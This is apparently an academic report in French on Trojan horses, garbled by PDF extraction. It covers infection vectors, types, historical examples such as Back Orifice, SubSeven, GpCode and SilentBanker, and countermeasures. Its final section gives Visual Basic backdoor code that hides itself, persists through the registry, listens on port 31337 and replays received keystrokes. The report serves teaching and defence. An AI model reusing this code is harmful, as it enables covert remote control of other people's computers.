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1 Introdu
tionLe nom 
heval de Troie vient de la guerre de Troie dans la mythologie gre
que [1, 2℄. Les gre
sassiègent la ville de Troie pour libérer Hélène qui avait été enlevée. Après dix ans d'un siège infru
-tueux, Ulysse a l'idée du 
heval de Troie : des guerriers gre
s se dissimulent dans un grand 
hevalde bois, déguisé en o�rande à Athéna. La �otte gre
que se retire hors de vue, abandonnant le 
hevalsur la plage. En signe de vi
toire, les Troyens font entrer le piège dans leurs murs. Croyant la guerreterminée, ils festoient et se réjouissent. La nuit venue, les guerriers gre
s sortent du 
heval et ouvrentles portes au reste de l'armée, et Troie est pillée et ses habitants tués ou pris 
omme es
laves.En navigant sur Internet, on peut trouver beau
oup de référen
es sur les 
hevaux de Troie. Maisqu'est-
e qu'un 
heval de Troie ? La référen
e [3℄ nous en donne une dé�nition : Les 
hevaux de Troie(trojan horses) exé
utent des tâ
hes malignes en se dissimulant au sein d'une 
oquille appli
atived'aspe
t ino�ensif. Comme on le voit, 
ette dé�nition est assez générique. Dans la suite du rapport,le le
teur pourra trouver des exemples de di�érents types de 
hevaux de Troie.Les logi
iels malveillants et parti
ulièrement les 
hevaux de Troie n'ont 
essé de devenir de plus enplus nombreux, 
omplexes et professionels au �l des années [4℄. Cette tendan
e démontre 
lairementque les pirates ont 
ompris que le développement de logi
iels malveillants de manière professionellepouvait représenter une importante sour
e de revenu [5, 6℄, 
e qui les amena tout naturellement à seregrouper et à s'organiser a�n d'améliorer la qualité du logi
iel malveillant.2 Mode opératoireL'obje
tif des 
hevaux de Troie est le plus souvent d'ouvrir une porte dérobée (ba
kdoor) sur lesystème 
ible, permettant par la suite à l'attaquant de revenir à loisir épier, 
olle
ter des données,les 
orrompre, 
ontr�ler, voire même détruire le système. Certains sont d'ailleurs tellement évoluésqu'ils sont devenus de véritables outils de prise en main et d'administration à distan
e.Leur mode opératoire est souvent le même ; ils doivent tout d'abord être introduits dans le système
ible le plus dis
rètement possible. Les moyens sont variés et exploitent le vaste éventail des faillesde sé
urité : du simple é
onomiseur d'é
ran piégé (envoyé par mail ou autre, du type 
adeau.exe,snow.exe, et
...) jusqu'à l'exploitation plus 
omplexe d'une faille de sé
urité. Comme on le voit, un
heval de Troie infe
te une ma
hine de la même manière qu'un virus. La grande di�éren
e est qu'ilne se propage pas.Après leur introdu
tion dans le système, ils se 
a
hent dans des répertoires système ou se lientà des exé
utables. Ils modi�ent le système d'exploitation 
ible (sous Windows, la base des registres)pour pouvoir démarrer en même temps que la ma
hine. De plus, ils sont a
tifs en permanen
e (
ar un
heval de Troie est un véritable serveur, il reste à l'é
oute des 
onne
tions provenant de l'attaquantpour re
evoir des instru
tions), mais ils restent furtifs et sont rarement déte
tables par l'utilisateur.Ainsi, un listing des tâ
hes 
ourantes ne fournira pas d'indi
ation su�sante : soit le 
heval de Troiey sera invisible, soit son nom sera tout 
e qu'il y a de plus banal (Pat
h.exe, .exe, winamp34.exe,winrar.exe, setup.exe, rundlls, ...).Il est intéressant de noter que les 
hevaux de Troie représentent la majorité des infe
tions par deslogi
iels malveillants (voir �gure 1). De plus, depuis le début des années 2000, le nombre de 
hevauxde Troie inter
eptés par les entreprises antivirus est en forte augmentation (voir �gure 2).
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Fig. 1 � Pour
entage des attaques par type de logi
iel malveillant.

Fig. 2 � Nombre de troyens inter
eptés par Kaspersky Lab par mois pour la période 2003 � 2005.4



3 Ve
teurs d'infe
tion3.1 L'utilisateurLa prin
ipale sour
e d'infe
tion par 
hevaux de Troie est l'utilisateur lui-même. En e�et, pardes textes bien 
hoisis, l'utilisateur est 
onvain
u d'installer un programme apparemment ino�ensif.L'email n'est pas le seul mode de propagation des 
hevaux de Troie ; ils peuvent aussi se propager àl'aide des messageries instantanées, de sites web o�rant le télé
hargement de � goodies �, de serveursftp ou en
ore par le biais d'unités de sto
kage amovibles.3.2 Failles de sé
uritéBeau
oup de 
hevaux de Troie utilisent des failles dans des programmes pour s'installer sansau
une intervention de l'utilisateur :Sites Web : un utilisateur peut être infe
té par une simple visite d'un site web infe
té. La plupartdu temps, des failles dans le navigateur (le plus souvent dans la partie manipulant des données)ou dans l'un de ses plugins (par exemple le plugin qui
ktime) sont utilisées pour installer le
heval de Troie sans que l'utilisateur ne s'aperçoive de quoi que 
e soit. Ce ve
teur d'infe
tionest de plus en plus répandu, surtout ave
 l'arrivée début 2007 du malware kit MPa
k1 basé surPHP ; le simple fait de visiter un site web pointant (via un IFrame) vers un site mali
ieux su�tà 
e que le 
heval de Troie soit installé sur le système en utilisant une faille du navigateur oud'un de ses plugins.Email : 
omme pour les sites web, les failles des 
lients mail peuvent impliquer une infe
tion, mêmesans au
une a
tion de l'utilisateur.Ports ouverts : en généralisant l'exemple de l'email, si une ma
hine exé
ute des programmes
onne
tés à Internet (serveur web, mail, transfert de �
hiers) ou autorise le partage de �
hiers,elle peut être infe
tée si l'un de 
es programmes a une faille.

1voir http://fr.wikipedia.org/wiki/MPa
k_(logi
iel)5



4 Classi�
ationIl existe plusieurs types de 
hevaux de Troie, 
ha
un étant 
onstruit pour a

omplir une tâ
heparti
ulière sur la ma
hine infe
tée. Souvent, un 
heval de Troie sera une 
ombinaison de plusieursde 
es types. Cette 
lassi�
ation est inspirée de l'arti
le [5℄ :troyens à porte dérobée (ba
kdoor trojans)C'est le type le plus répandu et le plus dangereux. Ils permettent au pirate le 
ontr�le à distan
ede la ma
hine infe
tée, à l'insu de l'utilisateur (on parle alors de ma
hine zombie). Ils peuventêtre pilotés à distan
e pour envoyer ou re
evoir des �
hiers, les exé
uter, tra
er l'a
tivité de lama
hine, ré
olter des données 
on�dentielles et
.troyens voleurs (password-stealing trojans)Ils sont 
onçus pour voler des données privées 
omme des mots de passe, adresses IP, informa-tions ban
aires et
. Ces informations sont envoyées à une adresse email 
ontenue dans le 
odedu 
heval de Troie.troyens espions (trojan spies)Ils gardent une tra
e de l'a
tivité de l'utilisateur (frappes au 
lavier et 
aptures d'é
ran) quisont transmises au pirate. Ces informations peuvent être utilisées dans le 
adre de fraudesban
aires par exemple.troyens 
argo (trojan droppers)Il s'agit d'une ar
hive 
ontenant plusieurs autres logi
iels malveillants qui seront installés surla ma
hine infe
tée. Ils peuvent installer un leurre (un programme amusant ou un 
anular) quidistraira l'attention de la vi
time pendant l'installation malveillante. Un autre avantage est deservir d'emballage pour des troyens 
onnus qui seraient immédiatement déte
tés par l'antivirus,alors que le 
argo est fa
ile à é
rire et passe in
ognito.troyens télé
hargeurs (trojan downloaders)Comme le 
argo, 
e type est utilisé pour installer d'autres logi
iels malveillants sur la ma
hineinfe
tée. Mais 
ontrairement aux 
argo, ils sont très légers et peuvent être utilisés pour télé-
harger de nouvelles versions de logi
iels malveillants. Souvent, ils exploitent des faiblesses deMi
rosoft Internet Explorer.troyens serveurs (trojan proxies)Ils fon
tionnent 
omme relais et fournissent un a

ès anonyme à Internet. Ils sont utilisésprin
ipalement pour des envois massifs de spam.troyens saboteurs (Ar
Bombs)Ils sont 
onçus pour saboter les logi
iels antivirus. Ils prennent la forme d'une ar
hive 
om-pressée qui � explose � quand elle est dé
ompressée pour être examinée par l'antivirus. Cetteexplosion est dûe au fait que les données 
ompressées sont répétitives et prennent énormémentde pla
e une fois dé
ompressées (bombe de dé
ompression, voir se
tion 5.4 pour un exemple).La ma
hine en est bloquée, fortement ralentie ou saturée de �
hiers identiques. D'autres logi
ielsmalveillants peuvent être introduits pendant que l'antivirus est o

upé.troyens redire
teurs (trojan 
li
kers)Ils redirigent la vi
time vers un site web spé
i�que, soit pour augmenter la fréquentation dusite, soit pour des raison publi
itaires, soit pour lan
er une attaque de déni de servi
e, soit pourdiriger l'utilisateur vers un site 
ontenant d'autres logi
iels malveillants.6



5 Exemples5.1 NetBusNetBus est un logi
iel de 
ontr�le à distan
e de ma
hines Windows [7℄. É
rit en mars 1998 par lesuédois Carl-Fredrik Neikter pour faire des plaisanteries, il est 
ontroversé pour sa 
apa
ité à servirde porte dérobée.L'utilisation de NetBus a eu des 
onséquen
es graves : en 1999, Magnus Eriksson, juriste à l'uni-versité de Lund, perd sa pla
e suite à la dé
ouverte de milliers d'images de pornographie enfantinesur son ordinateur de travail. Il doit quitter le pays et être suivi médi
alement pour a�ronter le stress.Il ne sera a
quitté qu'en 2004, quand un tribunal dé
ouvre que NetBus avait été utilisé pour prendrele 
ontr�le de son ordinateur.Le logi
iel est 
omposé de deux parties : un 
lient et un serveur. Le serveur est un exé
utable quidoit être installé sur la ma
hine qu'on veut 
ontr�ler. À la première exé
ution, le serveur s'installesur la ma
hine et s'ins
rit dans le registre Windows, pour que le serveur s'exé
ute ensuite à 
haquedémarrage 
omme un pro
essus invisible. Le 
lient 
omporte une interfa
e graphique et permetd'e�e
tuer di�érentes a
tions sur la ma
hine distante.A
tuellement, la plupart des logi
iels antivirus déte
tent et éliminent NetBus.5.2 Ba
k Ori�
eBa
k Orifi
e est sans doute le 
heval de Troie le plus 
onnu. C'est une appli
ation 
lient-serveurdéveloppée en 1998 qui permet au logi
iel 
lient de surveiller, administrer, et e�e
tuer à distan
en'importe quelle a
tion (réseau, multimédia, redémarrage, �
hiers, . . . ) sur la ma
hine exé
utant leserveur. Il a été di�usé sur Internet très rapidement, a�n (d'après les auteurs) de mettre en éviden
eles failles de sé
urité existant dans Windows 95/98 et don
 de dévaloriser 
e système. L'intentionanti-Mi
rosoft est 
lairement a�
hée, 
omme en témoigne le nom même de Ba
k Orifi
e, évoquantle logi
iel de Mi
rosoft, Ba
k O�
e.Ce logi
iel a été 
réé par � The Cult of the Dead Cow � [8℄, un groupe de ha
kers formé en 1984. Laversion a
tuelle est la version 2000 (BO2k) [9℄ dont les sour
es sont maintenant disponibles sur Interneten li
en
e GPL [10℄ . Elle permet d'utiliser le 
lient sur les systèmes d'exploitation Windows 95, 98,ME, NT, 2000, et XP. Le fait d'avoir ouvert le 
ode a sensiblement 
hangé son statut puisqu'ilautorise toute personne à véri�er le 
ontenu de l'appli
ation pour en être sûr (problèmes de portesdérobées). Cela assure également son évolution et sa pérennité. Il possède en outre un grand nombred'extensions ou plugins qui lui donnent une modularité sans limites.5.2.1 Comportement et fon
tionnementPour 
on�gurer le serveur bo2k.exe, il est possible d'utiliser le programme bo2k
fg.exe. Cedernier permet également d'ajouter un 
ertain nombre de plugins, dont notamment :� le 
hi�rement de la 
ommuni
ation entre le serveur et le 
lient (AES, Serpent, . . . ) ;� l'en
odage de l'en-tête du proto
ole TCPIO ;� l'a

ès en streaming à l'é
ran h�te.Une fois lan
é, BO2k s'installe dans \Windows\System\ ou \WinNT\System32\. Il modi�e ensuitela base de registre. Le �
hier initial peut ensuite être e�a
é (ou s'auto-e�a
er si spé
i�é). BO2k devientensuite a
tif à 
haque démarrage du système et reste en mémoire. Sous NT, le 
heval de Troie utiliseune astu
e pour éviter d'être tué par le gestionnaire de tâ
hes : il 
hange son PID 
onstamment et7




réé des pro
essus �ls qui lui permettent de rester a
tif si l'un d'entre eux est tué. De plus, son nom
omporte un grand nombre d'espa
es et de e, 
e qui a pour e�et de renvoyer une erreur lorsqu'ontente de le tuer à partir de Windows (tout en n'a�e
tant en rien son fon
tionnement). Seule solution :le tuer à partir du DOS ! Sous Windows 95/98, le �
hier se renomme .exe (
'est-à-dire sans nom),
e qui le rend invisible dans le gestionnaire de tâ
hes.5.2.2 Les prin
ipales fon
tionnalitésBO2k est 
apable de redémarrer la ma
hine h�te et de la bloquer. Il ré
upère la liste des mots depasse 
ontenus sur le serveur (
onnexion Internet et mots de passe réseau) ainsi que ses prin
ipalesinformations (pro
esseur, mémoire, 
apa
ité disque et
.) Il peut modi�er, ajouter, e�a
er et partagerdes �
hiers ou des répertoires sur la ma
hine h�te. Il peut tuer, lister ou 
réer un pro
essus et a

éderà la base de registre de l'ordinateur distant a�n d'y faire des modi�
ations.Une des 
ara
téristiques qui le distingue des véritables logi
iels d'administration à distan
e estsa 
apa
ité à é
rire dans un �
hier toutes les tou
hes tapées sur la ma
hine h�te (keylogging) et àl'envoyer à l'attaquant. Finalement, il peut tuer à distan
e le serveur ou le relan
er et y installer desnouveaux plugins.5.3 SubSevenTout 
omme Ba
k Orifi
e, SubSeven (ou Sub7) est une appli
ation 
lient-serveur qui permetl'administration à distan
e de ma
hines. Dé
ouvert en juin 1999 [11℄, 
e programme a été 
lassépar les antivirus 
omme un 
heval de Troie. Son auteur, mobman (aidé par un 
er
le d'amis appeléSub7Crew) 
onsidère SubSeven 
omme un logi
iel légal et utile pour les administrateurs réseaux, lesparents qui désirent surveiller leurs enfants, les 
lubs Internet et
. SubSeven peut être installé surles systèmes d'exploitation Windows 95, 98, ME, NT, 2000, et XP. Sa dernière mise à jour date de2001 : la version 2.2 est disponible sur Internet [12℄.5.3.1 Comportement et fon
tionnementSubSeven est 
omposé du 
lient (Subseven.exe) qui est utilisé pour 
ontr�ler la ma
hine de lavi
time, d'un éditeur de serveur (Editserver.exe) et d'un serveur (Server.exe). L'avantage del'éditeur de serveur est de pouvoir personnaliser le serveur de sorte à pouvoir 
on�gurer la manièrede noti�
ation utilisée pour 
ommuniquer l'adresse de la vi
time, le port utilisé, ou en
ore le motde passe en
ryptant le serveur (pour 
a
her par exemple l'adresse de l'attaquant utilisée pour lesnoti�
ations). Tout 
omme Ba
k Orifi
e, SubSeven permet d'ajouter de nouvelles fon
tionnalitésen installant des plugins.Pour simpli�er la di�usion du 
heval de Troie, l'attaquant peut joindre un �
hier au serveur ;l'utilisateur en double-
liquant sur le serveur, ouvrira une image ou jouera un �
hier de musiquependant que le 
heval de Troie s'installe (il est même possible de retarder l'installation jusqu'aupro
hain redémarrage). Une fois installé, SubSeven 
onta
tera l'attaquant (par mail, ir
 ou i
q et
.)pour donner l'adresse de la vi
time. Il se 
opiera dans les répertoires \Windows et \Windows\Systemet se renommera.
8



5.3.2 Les prin
ipales fon
tionnalitésLa liste des fon
tionnalités de SubSeven est impressionnante et assez similaire à 
elle de Ba
kOri�
e. On trouve entre autres la 
apa
ité d'enregistrer et d'envoyer les informations tapées au
lavier, de transmettre audio et vidéo, de transformer sa vi
time en serveur FTP, de l'utiliser 
ommema
hine de redire
tion (
a
hant la véritable identité de l'attaquant), d'éteindre ou de faire redémarrerla ma
hine infe
tée, et
.5.4 Saboteur 42.zipLe 
heval de Troie 42.zip [13℄ est un troyen de type saboteur. Il est simplement 
onstitué d'un�
hier 
ompressé standard d'une taille de 42 kiloo
tets. Les personnes qui utilisent un antivirus ontde fortes 
han
es de ren
ontrer des problèmes si elles se retrouvent 
onfrontées à 42.zip. En e�et,sa taille augmente fortement lorsqu'on le dé
ompresse. Le �
hier originale est un �
hier texte de
4,3 gigao
tets rempli de 0. Ce �
hier est 
ompressé (zip) et dupliqué 16 fois. Cette opération este�e
tuée sur le résultat quatre fois ! Dans les mots des 
réateurs, la des
ription donne � The �le
ontains 16 zipped �les, whi
h again 
ontains 16 zipped �les, whi
h again 
ontains 16 zipped �les,whi
h again 
ontains 16 zipped, whi
h again 
ontains 16 zipped �les, whi
h 
ontain 1 �le, with thesize of 4.3 GB �. Si l'on dé
ompresse entièrement 
e �
hier, on obtient un total de 4,5 petao
tets :

16 · 4
′
294

′
967

′
295 = 68

′
719

′
476

′
720 (68 Go)

16 · 68
′
719

′
476

′
720 = 1

′
099

′
511

′
627

′
520 (1 To)

16 · 1
′
099

′
511

′
627

′
520 = 17

′
592

′
186

′
040

′
320 (17 To)

16 · 17
′
592

′
186

′
040

′
320 = 281

′
474

′
976

′
645

′
120 (281 To)

16 · 281
′
474

′
976

′
645

′
120 = 4

′
503

′
599

′
626

′
321

′
920 (4,5 Po)5.5 BotnetsLe terme botnet désigne un ensemble de ma
hines zombies qui sont exploitées de manière mal-veillante. Pour 
réer et 
ontr�ler 
es ma
hines, des troyens sont utilisés. Selon des études ré
entes,deux variantes des 
hevaux de Troie Gaobot et Sdbot (dé
ouvert respe
tivement en août 2003 et enavril 2002) sont responsables d'environ 80% des bots en fon
tion sur Internet. Jusqu'à 
e jour, laplupart des bots sont 
ontr�lés à travers des serveurs IRC, 
e qui permet à l'attaquant de garderl'anonymat. Par
e qu'il est di�
ile de 
ontr�ler beau
oup de bots par IRC, de nouvelles méthodesde 
ontr�le sont utilisées. Par exemple, les 
onsoles web utilisant http sont beau
oup plus adéquatespour voir l'état des bots (a
tif/ina
tif), l'état des 
ommandes envoyés au bots et
. Les réseaux debots sont très souvent utilisés pour envoyer des spams de manière anonyme.Autre exemple, en avril�mai 2007, les sites Internet du gouvernement estonien ont été har
eléspendant plus de deux semaines par des attaques DDoS (déni de servi
e distribué) initiées par unearmée de bots qu'on soupçonne fortement d'être d'origine russe [14℄. En quelques heures, 
e pays, qui
ompte parmi les plus 
onne
tés d'Europe, fut l'objet d'une série d'attaques DDoS sans pré
édentà l'é
helle d'un pays. Les sites gouvernementaux furent les premiers visés. Puis vint le tour desbanques, des médias et des partis politiques. Le numéro des urgen
es (ambulan
es, in
endies) estmême resté indisponible pendant plus d'une heure. Ces attaques furent si virulentes que 
ertainesadministrations, dont 
elles de la Défense nationale, ont été obligées de 
ouper l'a

ès de leur siteweb à toutes les adresses IP étrangères au pays pendant plusieurs jours.9



5.6 GpCodeGpCode est un 
heval de Troie qui 
rypte des do
uments de l'utilisateur (do
uments O�
e, html,
odes sour
es, ar
hives zip, photos et autres) au moyen d'une 
lé RSA de 1024 bits et propose undé
hi�rement payant. Il s'agit don
 d'un � enlèvement � informatique ave
 une demande de rançon ;on parle d'ailleurs de ransomware ou de 
yber-
hantage ; à 
e sujet, voir l'arti
le [5℄. GpCode s'attaqueaux utilisateurs n'ayant pas de ba
kup de leurs do
uments ; une méthode simple de prévention 
ontre
e genre de 
heval de Troie est don
 d'ar
hiver fréquemment ses do
uments personnels sur un supportexterne.Une première version datant de 2005 utilisait une 
lé RSA de 660 bits, qui a pu être retrouvée parle vendeur d'antivirus Kaspersky Lab [15℄ grâ
e à une erreur dans l'implémentation de l'algorithmeRSA ; l'entreprise met à disposition des vi
times un outil de ré
upération des �
hiers 
ryptés. Pourla version 2008, qui utilise une 
lé RSA de 1024 bits, au
une faille n'a en
ore été trouvée et un dé�
ryptographique a été lan
é pour 
asser la 
lé privée.5.7 SilentBankerSilentBanker [16℄ est un bon exemple de l'évolution dans la 
omplexité des 
hevaux de Troieet de la professionalisation de leurs auteurs. Il permet de voler di�érentes informations ban
airesd'un utilisateur et de modi�er les données d'une transa
tion ban
aire via une attaque du type Man-in-the-Middle (MITM). Il a été dé
ouvert en dé
embre 2007. Il se distingue tout parti
ulièrementpar di�érents mé
anismes sophistiqués qui permettent d'inter
épter une 
ommuni
ation sé
uriséevia SSL, de 
ontourner une authenti�
ation à deux fa
teurs et les 
on�rmations de transa
tions,de modi�er les données d'une transa
tion vers la banque et les informations de 
on�rmation dela banque. SilentBanker 
ible plus de 400 banques dans le monde dont les Etats-Unis, la Fran
e,l'Irlande, l'Espagne, la Finlande, la Grande-Bretage et la Turquie ; la liste des banques se trouve dansun �
hier de 
on�guration qui peut sans autre être mis à jour. En plus des fon
tionnalités dé
rites
i-dessus, SilentBanker inter
epte également les mots de passe de 
omptes FTP, POP ou webmail,inje
te du 
ode HTML dans plus de 200 URL di�érentes, peut transformer la ma
hine infe
tée enserveur web ou proxy, et permet également de proposer à la vi
time plus de 600 sites pornographiquesa�n de gagner de l'argent supplémentaire grâ
e aux programmes de partenariat ave
 
es derniers.5.7.1 Fon
tionnementSilentBanker utilise di�érentes stratégies d'attaque en fon
tion de la banque ; allant de la simpleinter
eption de login et mot de passe, en passant par la manipulation des paramètres DNS2 poure�e
tuer une attaque du type MITM, le pirate peut en dernier re
ours inter
epter une 
ommuni
ationSSL valide, inje
ter du 
ode HTML a�n d'obtenir des informations manquantes, voler un 
erti�
atou un 
ookie si 
ela est requis, ou en
ore modi�er un 
erti�
at ra
ine par un 
erti�
at généré par lepirate. Un exemple de transa
tion ave
 authenti�
ation supplémentaire via SMS telle qu'elle pourraitavoir lieu ave
 SilentBanker est illustré dans la �gure 3 ; dans 
et exemple il s'agit d'une attaquetypique de MITM où le 
heval de Troie a au préalable modi�é les paramètres DNS, peut-être modi�éun 
erti�
at ra
ine du browser et 
réé une page web de logon identique à l'originale.Il n'est pas 
lairement expliqué et détaillé 
omment les pirates arrivent à inter
epter une 
ommu-ni
ation SSL valide ave
 SilentBanker, mais 
ela est très 
ertainement réalisé à l'aide d'un Browser2Dans le 
as de la manipulation des paramètres DNS, même si le 
heval de Troie est supprimé, 
es paramètres nesont pas modi�és et le pirate peut sans autre 
ontinuer à utiliser une attaque du type MITM.10



Fig. 3 � S
énario d'attaque MITM [17℄Helper Obje
t3 (BHO). Les di�érents �
hiers de 
on�guration que SilentBanker utilise sont tous
ompressés et en
ryptés4.Une question que nous pouvons nous poser est 
ertainement 
omment sont gérés les 
omptes surlesquels sont transférés les montants volés lors des transa
tions. Les pirates engagent des personnesvia des annon
es, similaires à 
elles répertoriées dans la référen
e [18℄, pour une 
ourte période detemps puis 
es personnes envoient l'argent aux pirates via des plate-formes 
omme Western Union,
e qui permet d'anonymiser le transfert. De plus amples informations sur les mena
es qui pèsent surl'online banking et les di�érents s
énarios d'attaque peuvent se trouver dans les référen
es [17℄ et[19℄.3Un BHO est un module DLL qui est utilisé pour étendre les fon
tionnalités d'Internet Explorer, par exemple poura�
her des PDF.4Nous n'avons malheureusement pas pu trouver de référen
e sur l'algorithme d'en
ryption utilisée, mais di�érenteséquipes ont réussi à l'attaquer pour obtenir la 
lé utilisée.
11



5.8 Attaques 
ibléesDepuis 2005 on observe de plus en plus fréquemment des 
as d'attaques 
iblées par 
hevaux deTroie. Alors que le 98% des attaques sont des attaques massives lan
ées à l'aveugle, les attaques 
ibléessont dirigées 
ontre quelques personnes bien pré
ises, souvent les dirigeants d'une entreprise. Cesattaques visent de grandes entreprises, des gouvernements, des organisations non gouvernementalesou des stru
tures militaires. Les personnes 
iblées reçoivent un email semblant venir d'un pro
he etqui 
ontient un �
hier atta
hé infe
té par un 
heval de Troie 
réé spé
ialement pour donner a

ès auréseau de l'entreprise.Par exemple, en été 2007, la 
han
ellerie allemande a été l'objet pendant plusieurs semainesd'attaques 
iblées provenant de Chine, d'après le journal der Spiegel [20℄. Plusieurs départementsont été infe
tés par des �
hiers word et powerpoint 
ontenant des 
hevaux de Troie, et les expertsen sé
urité allemands ont pu éviter la fuite de 160 gigabytes de données. Il n'est pas ex
lu que 
esattaques proviennent du gouvernement 
hinois lui-même.Ces attaques 
iblées sont inquiétantes pour les 
ompagnies antivirus, 
ar 
ontrairement aux at-taques habituelles, elles o

upent un faible volume dans le tra�
 et sont don
 di�
ilement déte
tables ;de plus leurs signatures ne sont pas identi�ées, puisqu'un tel troyen 
iblé n'est envoyé qu'à quelquesexemplaires et n'a pas été inter
epté auparavant.La motivation derrière 
es attaques 
iblées n'est pas 
laire. Il pourrait s'agir d'espionnage indus-triel ou de tentatives de dé
rédibilisation d'une entreprise.5.9 RésuméLe tableau 1 donne un résumé des 
hevaux de Troie mentionnés 
i-dessus.Noms année type 
ommentairesNetBus 1998 administration distanteBa
k Ori�
e 1998 administration distanteSubSeven 1999 administration distante42.zip 2001 saboteur bombe de dé
ompressionSdbot 2002 botnet serveur spam, DDoSGaobot 2003 botnet serveur spam, DDoSGpCode 2005 
yber-
hantageSilentBanker 2007 fraude ban
aireTab. 1 � Exemples de 
hevaux de Troie. L'année est 
elle de la première déte
tion du troyen.
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6 Contre-mesuresLes se
tions suivantes présentes trois niveaux de 
ontre-mesures pour lutter 
ontre les 
hevauxde Troie : 
omment éviter d'être infe
té ; quels sont les sympt�mes d'une infe
tion ; 
omment sedébarrasser d'un 
heval de Troie.6.1 Comment éviter d'être infe
téPour éviter d'être infe
té, il faut :� maintenir son système à jour ;� ne pas télé
harger des �
hiers dont on ne 
onnaît pas le 
ontenu ;� éviter les programme d'é
hange de �
hiers peer-to-peer (�
hiers infe
tés en grande proportion) ;� ne pas ouvrir un �
hier dont on ne 
onnaît pas le 
ontenu ave
 
ertitude, même s'il provientd'expéditeurs 
onnus (prin
ipalement les �
hiers reçus par 
ourrier éle
tronique) ;� toujours a�
her l'extension des �
hiers, a�n d'éviter les extensions 
a
hées (hello.jpg au lieude hello.jpg.exe) ;� ne jamais a
tiver les fon
tions ouverture automatique ou aperçu de 
lients mails (Outlook, . . . )ou des messageries instantanées ;� utiliser un logi
iel pare-feu (�rewall) ;� éviter les navigateurs Internet ave
 trop de failles de sé
urité 
omme Mi
rosoft Internet Explo-rer ;� utiliser un système d'exploitation sé
urisé (unix ou Linux).6.2 Sympt�mes d'une infe
tionL'infe
tion par un 
heval de Troie résulte généralement de l'ouverture d'un �
hier 
ontaminé parle logi
iel et se traduit par les sympt�mes suivants :� une a
tivité anormale de la 
arte réseau ou du disque, sans intervention de l'utilisateur ;� des réa
tions 
urieuses de la souris ;� une ouverture involontaire de programmes ;� des pannes ou redémarrages répétés.6.3 Comment se débarrasser d'un 
heval de TroieUne fois infe
té, l'utilisateur peut essayer de se débarrasser d'un 
heval de Troie en utilisant lesmoyens suivants :� Nouvelle installation propre, en évitant de se 
onne
ter au réseau tant que la sé
urité du systèmen'est pas assurée.� Déte
tion et suppression par des logi
iels antivirus ou spé
ialisés 
ontre les 
hevaux de Troie(ave
 dernières mises à jour !). Pour 
e faire, 
es logi
iels peuvent se baser sur les faits suivants :� 
es logi
iels sont rarement modi�és, don
 ils possèdent un 
ode ou une empreinte identi�able(signature) ;� ils produisent leur a
tivité sur un port habituellement fermé ;� par 
ontre, 
omme un 
heval de Troie ne se reproduit pas, il ne possède pas de signature derépli
ation.Il est souvent né
essaire de 
ombiner di�érents antivirus et anti-troyens.13



7 Exemples de 
ode sour
eCette se
tion montre des exemples de 
ode sour
e de di�érentes a
tions 
lés des 
hevaux de Troie,é
rits dans di�érents langages.7.1 Exemples en Visual Basi
7.1.1 Ouverture d'un WinSo
ketLe 
ode suivant illustre la 
réation d'un so
ket.Private Sub Form_Load()'This hides your apli
ation from the Ctrl+Alt+Del s
reenApp.TaskVisible = False'This adds your program to the windows registry'so that it starts everytime windows startsDim Reg As Obje
tSet Reg = CreateObje
t("ws
ript.shell")Reg.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" &App.EXEName, App.Path & "\" & App.EXEName & ".exe"'This sets the trojan's portWinso
k1.lo
alport = "31337"'This sets the trojan to listen for 
onne
tionsWinso
k1.ListenEnd SubPrivate Sub Winso
k1_Conne
tionRequest(ByVal requestID As Long)'Make sure the Winso
k 
ontrol isn't already being usedIf Winso
k1.State <> s
kClosed Then Winso
k1.CloseWinso
k1.A

ept requestIDEnd SubPrivate Sub Winso
k1_Error(ByVal Number As Integer, Des
ription As String,ByVal S
ode As Long, ByVal Sour
e As String, ByVal HelpFile As String,ByVal HelpContext As Long, Can
elDisplay As Boolean)'If an error o

urs and the 
onne
tion is lost, tell the winso
k to listen againWinso
k1.CloseWinso
k1.ListenEnd SubPrivate Sub Winso
k1_Close()'same as Winso
k1_Error aboveWinso
k1.CloseWinso
k1.ListenEnd Sub 14



Private Sub Winso
k1_DataArrival(ByVal bytesTotal As Long)Dim data1 As StringWinso
k1.GetData data1 'Gets data from 
lientDoEventsSendKeys data1 'Send the data to the infe
ted 
omputer's keyboardEnd Sub7.1.2 Manipulations de WindowsLes fon
tions suivantes illustrent di�érentes manipulations du système d'exploitation Windows :dépla
ement du pointeur de la souris ou de fenêtres, 
a
her ou tuer un pro
essus, a�
her un message,redémarrer et
.' Depla
e le 
urseur de la sourisPubli
 De
lare Fun
tion SetCursorPos Lib "user32" (ByVal X As Long,_ByVal Y As Long) As LongCall SetCursorPos(100,100)' Depla
e une fenêtre notepadPubli
 De
lare Fun
tion FindWindowEx Lib "user32" Alias_"FindWindowExA" (ByVal hwnd As Long, ByVal hWndChild As Long,_ByVal lpszClassName As String, ByVal lpszWindow As String) As LongPubli
 De
lare Fun
tion SetWindowPos Lib "user32" (ByVal hwnd As Long,_ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long,_ByVal 
x As Long, ByVal 
y As Long, ByVal wFlags As Long) As LongDim hwnd As Longprog$="notepad"hwnd = FindWindowEx(0&, 0&, prog$, vbNullString)If hwnd <> 0 ThenCall SetWindowPos(hwnd, 1, 0, 0, 300, 100, &H20 Or &H40)End If' Blo
age du Ctrl+Alt+DelPrivate De
lare Fun
tion SystemParametersInfo Lib _"user32" Alias "SystemParametersInfoA" (ByVal uA
tion _As Long, ByVal uParam As Long, ByVal lpvParam As Any, _ByVal fuWinIni As Long) As LongDim X As LongDim bDisabled As BooleanbDisabled=TRUEX = SystemParametersInfo(97, bDisabled, CStr(1), 0)15



' Ca
he un pro
essus, exemple: notepadPubli
 De
lare Fun
tion FindWindowEx Lib "user32" Alias_"FindWindowExA" (ByVal hwnd As Long, ByVal hWndChild As Long,_ByVal lpszClassName As String, ByVal lpszWindow As String) As LongPubli
 De
lare Fun
tion ShowWindow Lib "user32" (ByVal hwnd As Long,_ByVal nCmdShow As Long) As LongPubli
 Const SW_HIDE = 0Dim hwnd As Longprog_a_
a
her$="notepad"hwnd = FindWindowEx(0&, 0&, prog_a_
a
her$, vbNullString)If hwnd <> 0 ThenCall ShowWindow(hwnd, SW_HIDE)End If' Tue un pro
essus, exemple: notepadPubli
 De
lare Fun
tion FindWindow Lib "user32" Alias "FindWindowA"_(ByVal lpClassName As String, ByVal lpWindowName As String) As LongPubli
 De
lare Fun
tion PostMessage Lib "user32" Alias "PostMessageA"_(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long,_lParam As Any) As LongPubli
